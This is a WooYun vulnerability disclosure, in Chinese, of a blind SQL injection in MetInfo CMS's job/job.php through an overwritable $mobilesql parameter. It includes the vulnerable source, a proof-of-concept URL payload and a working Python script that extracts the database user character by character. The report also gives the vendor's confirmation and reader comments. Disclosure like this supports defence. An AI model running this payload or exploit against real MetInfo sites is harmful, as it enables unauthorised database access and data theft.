当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(8) 关注此漏洞

缺陷编号: WooYun-2014-74909

漏洞标题: Metinfo SQL注入漏洞

相关厂商: MetInfo

漏洞作者: magerx

提交时间: 2014-09-05 17:31

公开时间: 2014-12-02 17:32

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 10

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php+数字类型注射 安全意识不足 php源码分析 安全意识不足

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-05: 细节已通知厂商并且等待厂商处理中
2014-09-08: 厂商已经确认,细节仅向厂商公开
2014-09-11: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-11-02: 细节向核心白帽子及相关领域专家公开
2014-11-12: 细节向普通白帽子公开
2014-11-22: 细节向实习白帽子公开
2014-12-02: 细节向公众公开

简要描述:

sql injection :: wooyun通用型又更坚挺了 继续支持下

详细说明:

job/job.php

code 区域
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://**.**.**.**). All rights reserved.
require_once '../include/common.inc.php';
$classaccess= $db->get_one("SELECT * FROM $met_column WHERE module='6' and lang='$lang'");
$metaccess=$classaccess[access];
$class1=$classaccess[id];

require_once '../include/head.php';
$guanlian=$class_list[$class1][releclass];
$class1_info=$class_list[$class1][releclass]?$class_list[$class_list[$class1][releclass]]:$class_list[$class1];
$class2_info=$class_list[$class1][releclass]?$class_list[$class1]:$class_list[$class2];
if(!class1_info){
okinfo('../',$lang_error);
}
$serch_sql=" where lang='$lang' {$mobilesql} and displaytype='1' and ((TO_DAYS(NOW())-TO_DAYS(`addtime`)< useful_life) OR useful_life=0) ";
if($met_member_use==2)$serch_sql .= " and access<=$metinfo_member_type";
$order_sql="order by no_order desc,addtime desc";
$total_count = $db->counter($met_job, "$serch_sql", "*");
$totaltop_count = $db->counter($met_job, "$serch_sql and top_ok='1'", "*");



重点看下这一句:

code 区域
$serch_sql=" where lang='$lang' {$mobilesql} and displaytype='1' and ((TO_DAYS(NOW())-TO_DAYS(`addtime`)< useful_life) OR useful_life=0) ";





找了半天没有看到$mobilesql的声明,根本没有初始值,后来发现原来metinfo会有类似全局变量注册的机制,导致这里可以通过get/post等覆盖$mobilesql

由于这里是直接拼接起来的所以可以不用考虑gpc开关,直接是一个逻辑盲注,当然要考虑很多关键字过滤。

漏洞证明:

poc:

code 区域
http://localhost/metinfo/job/job.php?mobilesql=and%20ord(mid(user(),1,1))=114



这样会返回正确页面



刚好有时间就随手写了个利用,偷懒就写得比较简单

exp:

code 区域
import urllib2
import re

def inject(payload):
url = 'http://localhost/metinfo/job/job.php?mobilesql='
print url+payload
req = urllib2.Request(url+payload)
response = urllib2.urlopen(req)
content = response.read()
return content

wordlist = '@abcdefghijklmnopqrst'

def user():
result = ""
for i in range(1,15):
for num in range(len(wordlist)):
keyword = ord(wordlist[num])
content = inject("and%20ord(mid(user(),{0},1))={1}".format(i,keyword))
match = re.search('list top',content)
if match:
print str(i)+'===========>'+chr(keyword)
result = result+chr(keyword)
break
print 'current_user:===========>'+result

user()



结果如图:

metinfo.jpg

修复方案:

0.0

版权声明:转载请注明来源 magerx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-09-08 09:35

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-09-21 10:50 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)
    0

    话说漏洞是在后台还是前台? o.o

  2. 2014-10-15 15:26 | ToySweet ( 实习白帽子 | Rank:36 漏洞数:8 | 做有道德的安全研究员。)
    0

    又更坚挺了

  3. 2015-10-28 19:54 | 妹子快跑 ( 路人 | Rank:4 漏洞数:3 | 世界很大,你还很弱。)
    0

    貌似用户量很少,且只能获取当前登录的用户

登录后才能发表评论,请先 登录